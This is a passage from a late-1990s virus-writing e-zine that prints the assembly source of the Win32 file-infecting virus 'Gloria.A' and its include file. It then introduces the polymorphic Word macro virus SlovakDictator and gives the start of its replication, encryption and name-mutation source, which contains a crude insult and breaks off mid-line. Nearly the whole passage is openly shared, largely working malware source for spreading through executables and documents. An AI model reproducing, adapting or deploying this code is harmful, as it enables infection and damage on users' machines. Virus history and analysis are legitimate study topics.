cmp eax , 3jne inc_drives

lea eax ,[ ebp+ofs drives ]push eaxcall dword ptr [ ebp+SetCurrentDirectoryA ]

; Find directories

call check__drv

push one_minutecall dword ptr [ ebp+Sleep ]

inc_drives : inc byte ptr [ ebp+drives ]

; No more drives ?

Page 256: EZine - Asterix #2

GLORIA.ASM

; Then start again

cmp byte ptr [ ebp+drives ], 05Bhjae net_mode

jmp more_drives

; Look for directories and infect ten; files.

check__drv : lea eax ,[ ebp+ofs _barra ]push eaxcall dword ptr [ ebp+SetCurrentDirectoryA ]

lea eax ,[ ebp+ ofs file_data ]push eaxlea eax ,[ ebp+ ofs stringdir ]push eaxcall dword ptr [ ebp+FindFirstFileA ]mov [ ebp+handle_dir1 ], eax

inc eaxjz _check_retdec eax

; check directory attributes; can be 10h,11h,12h or 13h

check_dir_ok : mov eax ,dword ptr [ ebp+file_data.FileAttributes ]mov ebx , 10hmov ecx , 4

check_attr_dir : cmp eax , ebxje attr_dir_okinc ebxloop check_attr_dir

jmp find_aattr_dir_ok : lea eax ,[ ebp+ofs file_data.FileName ]

cmp byte ptr [ eax ], "."je find_a

; copy directory to path

mov esi , eaxlea edi ,[ ebp+ofs path_name ]mov ecx , 260rep movsb

xor al , almov byte ptr [ ebp+files_infect ], al

; here path name is the same as; directory name

; and infect ten files

call infect_one

; At this point path name is; the directory plus file name

Page 257: EZine - Asterix #2

GLORIA.ASM

; or the string *.EXE,0

lea edi ,[ ebp+ofs path_name ]mov ecx , 260rep stosb

; find next directory

find_a : lea eax ,[ ebp+ ofs file_data ]push eaxpush dword ptr [ ebp+handle_dir1 ]call dword ptr [ ebp+FindNextFileA ]or eax , eaxjnz check_dir_ok

push dword ptr [ ebp+handle_dir1 ]call dword ptr [ ebp+FindClose ]

_check_ret : ret

Gloria_exit : or ebp , ebpjz _saida

exit_nt : mov eax ,[ ebp+ofs new_value_rva ]add eax ,[ ebp+ofs new_imagebase ]lea ebx ,[ ebp+ofs jump + 4]sub eax , ebxmov dword ptr [ ebp+jump ], eax

popaddb 0E9h

jump dd 00h

old_value_rva dd 00hold_imagebase dd 00hnew_value_rva dd 00hnew_imagebase dd 00h

db 0B8h ; Confuse disassemblerunknow_os : call reset_var

jmp short exit_nt

_saida : call MessageBoxA , 0, ofs $, ofs $, 1000h

popad

xor eax , eaxpush eaxcall ExitProcess

my_section db ".CODE" , 0, 0, 0stringexe db "\*.EXE" , 0stringdir db "*.*" , 0

drives db "A:\",00h

Net_sign db " Netbstat.exe"System_ini db "System.ini" , 0Netbstat db "Netbstat.exe" , 0_barra db "\",0kernel32 dd 12345678h

Page 258: EZine - Asterix #2

GLORIA.ASM

getprocaddress db "GetProcAddress" , 0getprocaddresslen = $- ofs getprocaddress

api_name :xFindFirstFileA db "FindFirstFileA" , 0xFindNextFileA db "FindNextFileA" , 0xDeleteFileA db "DeleteFileA" , 0xGetFileSize db "GetFileSize" , 0xSetFileAttributesA db "SetFileAttributesA" , 0xGetCurrentDirectoryA db "GetCurrentDirectoryA" , 0xCreateFileMappingA db "CreateFileMappingA" , 0xMapViewOfFile db "MapViewOfFile" , 00hxUnmapViewOfFile db "UnmapViewOfFile" , 00hxCreateFileA db "CreateFileA" , 00hxWinExec db "WinExec" , 00hxCloseHandle db "CloseHandle" , 00hxFindClose db "FindClose" , 00hxGetDriveTypeA db "GetDriveTypeA" , 00hxCopyFileA db "CopyFileA" , 00hxSleep db "Sleep" , 00hxSetCurrentDirectoryA db "SetCurrentDirectoryA" , 00hxGetWindowsDirectoryA db "GetWindowsDirectoryA" , 00hxGetFileAttributes db "GetFileAttributesA" , 00hxGetCommandLineA db "GetCommandLineA" , 00hxRegisterServiceProcess db "RegisterServiceProcess" , 00hxSetFilePointer db "SetFilePointer" , 00hxSetEndOfFile db "SetEndOfFile" , 00h

db 0FFh

db " Virus Gloria.A "db " For my sweet Gloria "db " Brazil - 1999 "db " (c) N.B.K. "

align 4

vir_size equ $ - Gloriaentry_fim equ $

path_name db 105h dup ( 00h ) ; 261 bytes longpath_name@@ db 105h dup ( 00h ) ; 261 bytes longfrom_line db 208h dup ( 00h ) ; 520 bytes longfile_data win32_find_data <?> ; 318 bytes longhandle_dir1 dd 00hhandle_dir2 dd 00h

handle_new_file dd 00hhandle_old_file dd 00hhandle_mapping dd 00hhandle_find dd 00hnew_file_size dd 00hold_file_size dd 00h

mem_addr dd 00hpeofs dd 00htableofs dd 00hlastsection dd 00h

Page 259: EZine - Asterix #2

GLORIA.ASM

junk_ofs dd 00haddr_sys dd 00hobjalign dd 00hfilealign dd 00h

_real_ofs dd 00hvirtualsize dd 00hphysicalsize dd 00hvirus_entry dd 00h

files_infect db 00hGetProc dd 00hfile_attr dd 00hall_sec_size dd 00h

api_addr :

FindFirstFileA dd 00hFindNextFileA dd 00hDeleteFileA dd 00hGetFileSize dd 00hSetFileAttributesA dd 00hGetCurrentDirectoryA dd 00hCreateFileMappingA dd 00hMapViewOfFile dd 00hUnmapViewOfFile dd 00hCreateFileA dd 00hWinExec dd 00hCloseHandle dd 00hFindClose dd 00hGetDriveTypeA dd 00hCopyFileA dd 00hSleep dd 00hSetCurrentDirectoryA dd 00hGetWindowsDirectoryA dd 00hGetFileAttributesA dd 00hGetCommandLineA dd 00hRegisterServiceProcess dd 00hSetFilePointer dd 00hSetEndOfFile dd 00h

section_space db 1000h dup ( 00h ) ; place for sectionscmd_line db 208h dup ( 00h ) ; place for command line

virtual_size_gl equ $ - GloriaGloria_end equ $

end Gloria

Page 260: EZine - Asterix #2

MY_OWN.INC

extrn MessageBoxA:procextrn ExitProcess:proc

one_minute equ 60000virus_crypt equ (file_data - area_crypt)/4ofs equ offset

.datadummy db virus_crypt dup (00h)

filetime STRUCFT_dwLowDateTime dd ?FT_dwHighDateTime dd ?filetime ENDSwin32_find_data STRUCFileAttributes dd ?CreationTime filetime ?LastAccessTime filetime ?LastWriteTime filetime ?FileSizeHigh dd ?FileSizeLow dd ?Reserved0 dd ?Reserved1_ dd ?FileName db 260 dup (?)AlternateFileName db 14 dup (?)win32_find_data ENDS

peheader_find_data STRUC_pe dd 00h_cpu dw 00h_objects dw 00h

dd 3 dup (00h)_nt dw 00h

dw 00hdd 4 dup (00h)

_entry dd 00hdd 2 dup (00h)

_image_base dd 00h_obj_ln dd 00h_file_ln dd 00h

dd 4 dup (00h)_img_sz dd 00h_header_sz dd 00h

db 168 dup (00h)peheader_find_data ENDS

section_pe_file STRUC_name_sec db 8 DUP (00h)_virtual_sz dd 00h ; SH_VirtualSize_RVA dd 00h ; SH_VirtualAddress_physical_sz dd 00h ; SH_SizeOfRawData_physical_off dd 00h ; SH_PointerToRawData

dd 3 dup (00h)_obj_flags db 4 dup (00h)section_pe_file ENDS

IMAGE_DOS_HEADER STRUC ; DOS .EXE headerMZ_magic DW ? ; Magic numberMZ_cblp DW ? ; Bytes on last page of fileMZ_cp DW ? ; Pages in fileMZ_crlc DW ? ; RelocationsMZ_cparhdr DW ? ; Size of header in paragraphs

Page 261: EZine - Asterix #2

MY_OWN.INC

MZ_minalloc DW ? ; Minimum extra paragraphs neededMZ_maxalloc DW ? ; Maximum extra paragraphs neededMZ_ss DW ? ; Initial (relative) SS valueMZ_sp DW ? ; Initial SP valueMZ_csum DW ? ; ChecksumMZ_ip DW ? ; Initial IP valueMZ_cs DW ? ; Initial (relative) CS valueMZ_lfarlc DW ? ; File address of relocation tableMZ_ovno DW ? ; Overlay numberMZ_res DW 4 DUP(?) ; Reserved wordsMZ_oemid DW ? ; OEM identifier (for MZ_oeminfo)MZ_oeminfo DW ? ; OEM information; MZ_oemid specificMZ_res2 DW 10 DUP(?) ; Reserved wordsMZ_lfanew DD ? ; File address of new exe headerIMAGE_DOS_HEADER ENDS ;IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER

;IMAGE_FILE_HEADER STRUC ; Portable Exe FilePE_Magic DD ? ;Machine DW ? ; Machine typeNumberOfSections DW ? ; Number of sectionsTimeDateStamp DD ? ; Date and TimePointerToSymbolTable DD ? ; Pointer to SymbolsNumberOfSymbols DD ? ; Number of SymbolsSizeOfOptionalHeader DW ? ; Size of Optional HeaderCharacteristics DW ? ; File characteristicsIMAGE_FILE_HEADER ENDS ;IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER

;IMAGE_DATA_DIRECTORY STRUC ; Image data directoryDD_VirtualAddress DD ? ; Virtual addressDD_Size DD ? ; Virtual sizeIMAGE_DATA_DIRECTORY ENDS ;;;;;;;;;

;IMAGE_DIRECTORY_ENTRIES STRUC ; All directoriesDE_Export IMAGE_DATA_DIRECTORY ? ;DE_Import IMAGE_DATA_DIRECTORY ? ;DE_Resource IMAGE_DATA_DIRECTORY ? ;DE_Exception IMAGE_DATA_DIRECTORY ? ;DE_Security IMAGE_DATA_DIRECTORY ? ;DE_BaseReloc IMAGE_DATA_DIRECTORY ? ;DE_Debug IMAGE_DATA_DIRECTORY ? ;DE_Copyright IMAGE_DATA_DIRECTORY ? ;DE_GlobalPtr IMAGE_DATA_DIRECTORY ? ;DE_TLS IMAGE_DATA_DIRECTORY ? ;DE_LoadConfig IMAGE_DATA_DIRECTORY ? ;DE_BoundImport IMAGE_DATA_DIRECTORY ? ;DE_IAT IMAGE_DATA_DIRECTORY ? ;IMAGE_DIRECTORY_ENTRIES ENDS ;IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 ;

;;;;;;;;;;;IMAGE_OPTIONAL_HEADER STRUC ; Optional HeaderOH_Magic DW ? ; Magic wordOH_MajorLinkerVersion DB ? ; Major Linker versionOH_MinorLinkerVersion DB ? ; Minor Linker versionOH_SizeOfCode DD ? ; Size of code sectionOH_SizeOfInitializedData DD ? ; Initialized DataOH_SizeOfUninitializedData DD ? ; Uninitialized DataOH_AddressOfEntryPoint DD BYTE PTR ? ; Initial EIPOH_BaseOfCode DD BYTE PTR ? ; Code Virtual AddressOH_BaseOfData DD BYTE PTR ? ; Data Virtual AddressOH_ImageBase DD BYTE PTR ? ; Base of image

Page 262: EZine - Asterix #2

MY_OWN.INC

OH_SectionAlignment DD ? ; Section AlignmentOH_FileAlignment DD ? ; File AlignmentOH_MajorOperatingSystemVersion DW ? ; Major OSOH_MinorOperatingSystemVersion DW ? ; Minor OSOH_MajorImageVersion DW ? ; Major Image versionOH_MinorImageVersion DW ? ; Minor Image versionOH_MajorSubsystemVersion DW ? ; Major Subsys versionOH_MinorSubsystemVersion DW ? ; Minor Subsys versionOH_Win32VersionValue DD ? ; win32 versionOH_SizeOfImage DD ? ; Size of imageOH_SizeOfHeaders DD ? ; Size of HeaderOH_CheckSum DD ? ; unusedOH_Subsystem DW ? ; SubsystemOH_DllCharacteristics DW ? ; DLL characteristicOH_SizeOfStackReserve DD ? ; Stack reserveOH_SizeOfStackCommit DD ? ; Stack commitOH_SizeOfHeapReserve DD ? ; Heap reserveOH_SizeOfHeapCommit DD ? ; Heap commitOH_LoaderFlags DD ? ; Loader flagsOH_NumberOfRvaAndSizes DD ? ; Number of directories

UNION ; directory entriesOH_DataDirectory IMAGE_DATA_DIRECTORY\

IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?

ENDS ;IMAGE_OPTIONAL_HEADER ENDS ;IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER

;IMAGE_SECTION_HEADER STRUC ; Section hdr.SH_Name DB 8 DUP(?) ; name

UNION ;SH_PhysicalAddress DD BYTE PTR ? ; Physical addressSH_VirtualSize DD ? ; Virtual size

ENDS ;SH_VirtualAddress DD BYTE PTR ? ; Virtual addressSH_SizeOfRawData DD ? ; Raw data sizeSH_PointerToRawData DD BYTE PTR ? ; pointer to raw dataSH_PointerToRelocations DD BYTE PTR ? ; ...SH_PointerToLinenumbers DD BYTE PTR ? ; ...... not really usedSH_NumberOfRelocations DW ? ; ....SH_NumberOfLinenumbers DW ? ; ..SH_Characteristics DD ? ; flagsIMAGE_SECTION_HEADER ENDS ;IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER

;;IMAGE_IMPORT_BY_NAME STRUC ; Import by name data type;IBN_Hint DW 0 ; Hint entry;IBN_Name DB 1 DUP (?) ; name;IMAGE_IMPORT_BY_NAME ENDS ;; ;;IMAGE_THUNK_DATA STRUC ; Thunk data; UNION ;;TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME structure;TD_Ordinal DD ? ; Ordinal ORed with IMAGE_ORDINAL_FLAG;TD_Function DD BYTE PTR ? ; Ptr to function (i.e. Function address afterprogram load);TD_ForwarderString DD BYTE PTR ? ; Ptr to a forwarded API function.; ENDS ;;IMAGE_THUNK_DATA ENDS ;;;;;;;;;; ;;IMAGE_IMPORT_DESCRIPTOR STRUC ; Import descryptor; UNION ;

Page 263: EZine - Asterix #2

MY_OWN.INC

;ID_Characteristics DD ? ; 0 for last null import descriptor;ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT; ENDS ;;ID_TimeDateStamp DD ? ;;ID_ForwarderChain DD ? ; -1 if no forwarders;ID_Name DD BYTE PTR ? ; RVA to name of imported DLL;ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to IAT;IMAGE_IMPORT_DESCRIPTOR ENDS ;;IMAGE_IMPORT_DESCRIPTOR_SIZE = SIZE IMAGE_IMPORT_DESCRIPTOR;IMAGE_EXPORT_DIRECTORY STRUC ; Export Directory typeED_Characteristics DD ? ; FlagsED_TimeDateStamp DD ? ; Date / TimeED_MajorVersion DW ? ; Major versionED_MinorVersion DW ? ; Minor versionED_Name DD BYTE PTR ? ; Ptr to name of exported DLL

UNION ;ED_Base DD ? ; baseED_BaseOrdinal DD ? ; base ordinal

ENDS ;ED_NumberOfFunctions DD ? ; number of exported funcs.

UNION ;ED_NumberOfNames DD ? ; number of exported namesED_NumberOfOrdinals DD ? ; number of exported ordinals

ENDS ;ED_AddressOfFunctions DD DWORD PTR ? ; Ptr to array of function addressesED_AddressOfNames DD DWORD PTR ? ; Ptr to array of (function) name addresses

UNION ;ED_AddressOfNameOrdinals DD WORD PTR ? ; Ptr to array of name ordinalsED_AddressOfOrdinals DD WORD PTR ? ; Ptr to array of ordinals

ENDS ;IMAGE_EXPORT_DIRECTORY ENDS ;

.code

Page 264: EZine - Asterix #2

SlovakDictator was first of the real polymorphic macro viruses. According that it was written in days whennobody (mostly avers :-) believed there is no polymorphism possible it is really "hard" polymorphic. Whilereproducing each variable is substituted with random generated string, that makes look of this virii verystrange. To get even more strange, instead of using numerical constants this virii uses variables set tospecified value. Virii is based on two pass replication. After AutoClose is executed creates a special macrowith random name. Its code is decoded from array stored in macro. This macro is executed and replicate(and mutate) itself to template or document. Because of this process is quite complex this virii is really slow.This is the reason of it's name.

As far as we know this is the first release of unencrypted source. We are glad we can introduce it to you. Soenjoy.

Download source code of SlovakDictator (A and B variants) here

Page 265: EZine - Asterix #2

SLOW_A.MAC

List Word Macros version 1.10File: DICT8R_S.DOTTotal macros: 8=================================================== ===========================Macro name: StarterDEBUG [STARTERDEBUG] "U"Description: Vlozi zdrojove riadky zakryptovanej casti ma kra na poziciu kurzora - pre DEBUGverziu

--------------------------------------------------- ---------------------------Sub MAIN

ToolsMacro .Name = "SlovakDictatorRESOURCEdebug" , .Show = 0, .EditBigString$ = GetText$( 0, 100000 )DocClose 2j = 1i = 0

looop:Insert "SourceLinesTable$(" + Str$(i) + ")=" + Chr$( 34)

loop2:char$ = Mid$ (BigString$, j, 1)j = j + 1If char$ = Chr$( 13) Then Goto skip1If char$ = Chr$( 9) Then Goto loop2If char$ = Chr$( 34) Then Insert "@@" : Goto loop2Insert char$Goto loop2

skip1:Insert Chr$( 34)InsertParai = i + 1If j < Len(BigString$) Then Goto looop

End Sub=================================================== ===========================Macro name: StarterFINAL [STARTERFINAL] "U"Description: Vlozi zdrojove riadky zakryptovanej casti ma kra na poziciu kurzora - pre FINALverziu--------------------------------------------------- ---------------------------Sub MAIN

ToolsMacro .Name = "SlovakDictatorRESOURCEfinal" , .Show = 0, .EditBigString$ = GetText$( 0, 100000 )DocClose 2j = 1i = 0

looop:Insert "SourceLinesTable$(" + Str$(i) + ")=" + Chr$( 34)

loop2:char$ = Mid$ (BigString$, j, 1)j = j + 1If char$ = Chr$( 13) Then Goto skip1If char$ = Chr$( 9) Then Goto loop2If char$ = Chr$( 34) Then Insert "@@" : Goto loop2Insert char$Goto loop2

skip1:Insert Chr$( 34)InsertParai = i + 1If j < Len(BigString$) Then Goto looop

End Sub=================================================== ===========================Macro name: EncryptAutoClose [ENCRYPTAUTOCLOSE] "U"--------------------------------------------------- ---------------------------Sub MAIN

Page 266: EZine - Asterix #2

SLOW_A.MAC

On Error Goto BUGMacroCopy "global:AutoClose" , "global:AutoCloseEncrypted" , 1Goto FINISH

BUG:MsgBox "Chyba pri vytvarani kryptovaneho makra" , "BIG BUG OCCURED !" , 48

FINISH:End Sub=================================================== ===========================Macro name: SlovakDictatorGEN1debug [SLOVAKDICTATORGEN 1DEBUG] "U"Description: Finalna verzia WordMacro.SlovakDictators DEBUG infom - 1. generacia--------------------------------------------------- ---------------------------Dim Shared FixedConstant_0Dim Shared FixedConstant_1Dim Shared FixedConstant_2Dim Shared FixedConstant_7Dim Shared FixedConstant_10Dim Shared FixedConstant_20Dim Shared FixedConstant_22Dim Shared FixedConstant_65Dim Shared UvodzovkyDim Shared ZavinacDim Shared CryptConstantDim Shared SourceLinesTable$( 200 )Dim Shared HiddenIntroLenDim Shared HiddenStartDim Shared HiddenLinesDim Shared PolymorphNamesTable$( 31)Dim Shared PolyNames

Sub MAINFixedConstant_0 = 0FixedConstant_1 = 1FixedConstant_2 = 2FixedConstant_7 = 7FixedConstant_10 = 10FixedConstant_20 = 20FixedConstant_22 = 22FixedConstant_65 = 65Uvodzovky = 34Zavinac = 64HiddenIntroLen = 37HiddenStart = 120HiddenLines = 178PolyNames = 31On Error Goto ErrorHandlerWordVersion$ = AppInfo$(FixedConstant_2)WordVer = Val(Left$(WordVersion$, FixedConstant_1))If WordVer <> FixedConstant_7 Then Goto ErrorHandler

CryptConstant = 0'//// SourceLinesTable - zakryptovane makroSourceLinesTable$( 0) = "Dim Shared FixedConstant_0"SourceLinesTable$( 1) = "Dim Shared FixedConstant_1"SourceLinesTable$( 2) = "Dim Shared FixedConstant_2"SourceLinesTable$( 3) = "Dim Shared FixedConstant_7"SourceLinesTable$( 4) = "Dim Shared FixedConstant_10"SourceLinesTable$( 5) = "Dim Shared FixedConstant_20"SourceLinesTable$( 6) = "Dim Shared FixedConstant_22"SourceLinesTable$( 7) = "Dim Shared FixedConstant_65"

Page 267: EZine - Asterix #2

SLOW_A.MAC

SourceLinesTable$( 8) = "Dim Shared Uvodzovky"SourceLinesTable$( 9) = "Dim Shared Zavinac"SourceLinesTable$( 10) = "Dim Shared CryptConstant"SourceLinesTable$( 11) = "Dim Shared SourceLinesTable$(200)"SourceLinesTable$( 12) = "Dim Shared HiddenIntroLen"SourceLinesTable$( 13) = "Dim Shared HiddenStart"SourceLinesTable$( 14) = "Dim Shared HiddenLines"SourceLinesTable$( 15) = "Dim Shared PolymorphNamesTable$(31)"SourceLinesTable$( 16) = "Dim Shared PolyNames"SourceLinesTable$( 17) = ""SourceLinesTable$( 18) = "Sub MAIN"SourceLinesTable$( 19) = "FixedConstant_0 = 0"SourceLinesTable$( 20) = "FixedConstant_1 = 1"SourceLinesTable$( 21) = "FixedConstant_2 = 2"SourceLinesTable$( 22) = "FixedConstant_7 = 7"SourceLinesTable$( 23) = "FixedConstant_10 = 10"SourceLinesTable$( 24) = "FixedConstant_20 = 20"SourceLinesTable$( 25) = "FixedConstant_22 = 22"SourceLinesTable$( 26) = "FixedConstant_65 = 65"SourceLinesTable$( 27) = "Uvodzovky = 34"SourceLinesTable$( 28) = "Zavinac = 64"SourceLinesTable$( 29) = "HiddenIntroLen = 37"SourceLinesTable$( 30) = "HiddenStart = 120"SourceLinesTable$( 31) = "HiddenLines = 178"SourceLinesTable$( 32) = "PolyNames = 31"SourceLinesTable$( 33) = "On Error Goto ErrorHandler"SourceLinesTable$( 34) = "WordVersion$ = AppInfo$(FixedConstant_2)"SourceLinesTable$( 35) = "WordVer = Val(Left$(WordVersion$, FixedConstant_1) )"SourceLinesTable$( 36) = "If WordVer <> FixedConstant_7 Then Goto ErrorHandl er"SourceLinesTable$( 37) = "Call InitializePolymorphTables"SourceLinesTable$( 38) = "'//// begin of hidden part ////"SourceLinesTable$( 39) = "DisableInput 1"SourceLinesTable$( 40) = "ShowBox"SourceLinesTable$( 41) = "CurFile$ = FileName$() : MsgBox @@File = @@ + CurF ile$"SourceLinesTable$( 42) = "If CurFile$ = @@@@ Then Goto ErrorHandler"SourceLinesTable$( 43) = ""SourceLinesTable$( 44) = "If CheckInstalled(0) = 0 Then"SourceLinesTable$( 45) = "MsgBox @@2Normal@@ : Infect(1)"SourceLinesTable$( 46) = "ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0"SourceLinesTable$( 47) = "Goto ErrorHandler"SourceLinesTable$( 48) = "End If"SourceLinesTable$( 49) = ""SourceLinesTable$( 50) = "Dim dlg As FileSaveAs"SourceLinesTable$( 51) = "GetCurValues dlg"SourceLinesTable$( 52) = "If dlg.Format = 0 Then"SourceLinesTable$( 53) = "dlg.Format = 1"SourceLinesTable$( 54) = "FileSaveAs dlg"SourceLinesTable$( 55) = "End If"SourceLinesTable$( 56) = ""SourceLinesTable$( 57) = "If CheckInstalled(1) = 0 Then"SourceLinesTable$( 58) = "MsgBox @@2File@@ : Infect(3)"SourceLinesTable$( 59) = "FileSave"SourceLinesTable$( 60) = "End If"SourceLinesTable$( 61) = ""SourceLinesTable$( 62) = "ErrorHandler:"SourceLinesTable$( 63) = "End Sub"SourceLinesTable$( 64) = ""SourceLinesTable$( 65) = "Sub ShowBox"SourceLinesTable$( 66) = "ParlamentnyPuc = Day(Now())"SourceLinesTable$( 67) = "If ParlamentnyPuc <> 4 Or ParlamentnyPuc <> 11 The n"SourceLinesTable$( 68) = "Beep"SourceLinesTable$( 69) = "Begin Dialog UserDialog 380, 224, @@Virus ALERT!@@ "

Page 268: EZine - Asterix #2

SLOW_A.MAC

SourceLinesTable$( 70) = "Text 29, 8, 349, 13, @@You're infected by WordMacr o.SlovakDictator virus@@, .Text1"SourceLinesTable$( 71) = "Text 15, 28, 360, 13, @@Welcome to the LME (Lamer' s Macro Engine) ver. 1.00@@, .Text2"SourceLinesTable$( 72) = "Text 145, 51, 123, 13, @@Dis is Level 421@@, .Text 3"SourceLinesTable$( 73) = "Text 35, 73, 342, 13, @@(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia@@, .Text4"SourceLinesTable$( 74) = "Text 34, 98, 343, 13, @@Dis is the first world tru e polymorphic macro virus !@@, .Text5"SourceLinesTable$( 75) = "PushButton 120, 188, 147, 21, @@Accept / Suhlas@@, .Push1"SourceLinesTable$( 76) = "Text 100, 165, 228, 13, @@Big fuck to the big boxe r V.M.@@, .Text6"SourceLinesTable$( 77) = "End Dialog"SourceLinesTable$( 78) = "Dim dlg As UserDialog"SourceLinesTable$( 79) = "Dialog(dlg)"SourceLinesTable$( 80) = "End If"SourceLinesTable$( 81) = "End Sub"SourceLinesTable$( 82) = ""SourceLinesTable$( 83) = "Function CheckInstalled(j)"SourceLinesTable$( 84) = "On Error Resume Next"SourceLinesTable$( 85) = "CheckInstalled = 0"SourceLinesTable$( 86) = "For i = 1 To CountMacros(j)"SourceLinesTable$( 87) = "If MacroName$(i, j) = @@AutoClose@@ Then CheckInst alled = 1"SourceLinesTable$( 88) = "Next i"SourceLinesTable$( 89) = "End Function"SourceLinesTable$( 90) = ""SourceLinesTable$( 91) = "Sub Infect(WhatToInfect)"SourceLinesTable$( 92) = "SaveWindowName$ = WindowName$()"SourceLinesTable$( 93) = "ToolsMacro .Name = @@AutoClose@@, .Show = WhatToIn fect, .Edit"SourceLinesTable$( 94) = "EditClear - 20"SourceLinesTable$( 95) = ""SourceLinesTable$( 96) = "'////"SourceLinesTable$( 97) = "'//// Vlozenie prvych HiddenIntroLen riadkov kodu makra"SourceLinesTable$( 98) = "'//// viditelna cast - nemenit !"SourceLinesTable$( 99) = "'////"SourceLinesTable$( 100 ) = "For i = 0 To HiddenIntroLen : Insert SourceLinesTa ble$(i) : InsertPara : Next i"SourceLinesTable$( 101 ) = "'////"SourceLinesTable$( 102 ) = "'//// premenna i ide od riadkov @@Sub OriginalMacr oBody@@+1"SourceLinesTable$( 103 ) = "'//// az po @@Sub InitializePolymorphTables@@-1"SourceLinesTable$( 104 ) = "'//// velmi pozorne urcit tieto konstanty !!!"SourceLinesTable$( 105 ) = "'////"SourceLinesTable$( 106 ) = "For i = HiddenStart To HiddenLines : Insert Source LinesTable$(i) : InsertPara : Next i"SourceLinesTable$( 107 ) = "EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34), .Direction = 0, .MatchCase = 1, .WholeWord = 0, .Pa tternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordFo rms = 0"SourceLinesTable$( 108 ) = ""SourceLinesTable$( 109 ) = "CryptConstant = - Int((4 + Rnd() * 10))"SourceLinesTable$( 110 ) = "Call DecryptLines"SourceLinesTable$( 111 ) = "Insert @@CryptConstant = @@ + Str$(- CryptConstant )"SourceLinesTable$( 112 ) = "InsertPara"SourceLinesTable$( 113 ) = "FlushAllTables"SourceLinesTable$( 114 ) = "DocClose 1"SourceLinesTable$( 115 ) = "Activate SaveWindowName$"SourceLinesTable$( 116 ) = "End Sub"SourceLinesTable$( 117 ) = ""SourceLinesTable$( 118 ) = "Sub OriginalMacroBody"SourceLinesTable$( 119 ) = "'//// end of Hidden part ////"SourceLinesTable$( 120 ) = "ScreenUpdating FixedConstant_0"SourceLinesTable$( 121 ) = "DisableAutoMacros FixedConstant_1"SourceLinesTable$( 122 ) = "DecryptLines"SourceLinesTable$( 123 ) = ""

Page 269: EZine - Asterix #2

SLOW_A.MAC

SourceLinesTable$( 124 ) = "SaveWindowName$ = WindowName$() : MsgBox @@Win=@@ + SaveWindowName$"SourceLinesTable$( 125 ) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedCon stant_1, .Edit"SourceLinesTable$( 126 ) = "EditClear - FixedConstant_20"SourceLinesTable$( 127 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines : Ins ert SourceLinesTable$(MyVarI1) : InsertPara : Next MyVa rI1"SourceLinesTable$( 128 ) = ""SourceLinesTable$( 129 ) = "EditReplace .Find = Chr$(Zavinac) + Chr$(Zavinac), .Replace = Chr$(Uvodzovky), .Direction = FixedConstant_0, .Mat chCase = FixedConstant_1, .WholeWord = FixedConstant_0, .PatternMatch = FixedConstant_0, . SoundsLike = FixedConstant_0, .ReplaceAll, .Format =" + " FixedConstant_0, .Wrap = FixedConstant_1, .FindAl lWordForms = FixedConstant_0"SourceLinesTable$( 130 ) = ""SourceLinesTable$( 131 ) = "FlushAllTables"SourceLinesTable$( 132 ) = "MutateAllNames"SourceLinesTable$( 133 ) = "DocClose FixedConstant_1"SourceLinesTable$( 134 ) = "Activate SaveWindowName$"SourceLinesTable$( 135 ) = ""SourceLinesTable$( 136 ) = "Call TempMacro"SourceLinesTable$( 137 ) = "ToolsMacro .Name = @@TempMacro@@, .Show = FixedCon stant_1, .Delete"SourceLinesTable$( 138 ) = ""SourceLinesTable$( 139 ) = "ErrorHandler:"SourceLinesTable$( 140 ) = "DisableAutoMacros FixedConstant_0"SourceLinesTable$( 141 ) = "ScreenUpdating FixedConstant_1"SourceLinesTable$( 142 ) = "End Sub"SourceLinesTable$( 143 ) = ""SourceLinesTable$( 144 ) = "Sub DecryptLines"SourceLinesTable$( 145 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines"SourceLinesTable$( 146 ) = "MyVarA4$ = @@@@"SourceLinesTable$( 147 ) = "MyVarJ2 = Len(SourceLinesTable$(MyVarI1))"SourceLinesTable$( 148 ) = "For MyVarK3 = FixedConstant_1 To MyVarJ2"SourceLinesTable$( 149 ) = "MyVarA4$ = MyVarA4$ + Chr$(Asc(Mid$(SourceLinesTab le$(MyVarI1), MyVarK3, FixedConstant_1)) - CryptConstant)"SourceLinesTable$( 150 ) = "Next MyVarK3"SourceLinesTable$( 151 ) = "SourceLinesTable$(MyVarI1) = MyVarA4$"SourceLinesTable$( 152 ) = "Next MyVarI1"SourceLinesTable$( 153 ) = "End Sub"SourceLinesTable$( 154 ) = ""SourceLinesTable$( 155 ) = "Sub FlushAllTables"SourceLinesTable$( 156 ) = "For MyVarI1 = FixedConstant_0 To HiddenLines"SourceLinesTable$( 157 ) = "Insert @@SourceLinesTable$(@@ + Str$(MyVarI1) + @@ )=@@ + Chr$(Uvodzovky) + SourceLinesTable$(MyVarI1) + Chr$ (Uvodzovky)"SourceLinesTable$( 158 ) = "InsertPara"SourceLinesTable$( 159 ) = "Next MyVarI1"SourceLinesTable$( 160 ) = "For MyVarI1 = FixedConstant_0 To PolyNames - Fixed Constant_1"SourceLinesTable$( 161 ) = "Insert @@PolymorphNamesTable$(@@ + Str$(MyVarI1) + @@)=@@ + Chr$(Uvodzovky) + PolymorphNamesTable$(MyVarI1) + C hr$(Uvodzovky)"SourceLinesTable$( 162 ) = "InsertPara"SourceLinesTable$( 163 ) = "Next MyVarI1"SourceLinesTable$( 164 ) = "End Sub"SourceLinesTable$( 165 ) = ""SourceLinesTable$( 166 ) = "Function GenName$"SourceLinesTable$( 167 ) = "MyVarA4$ = 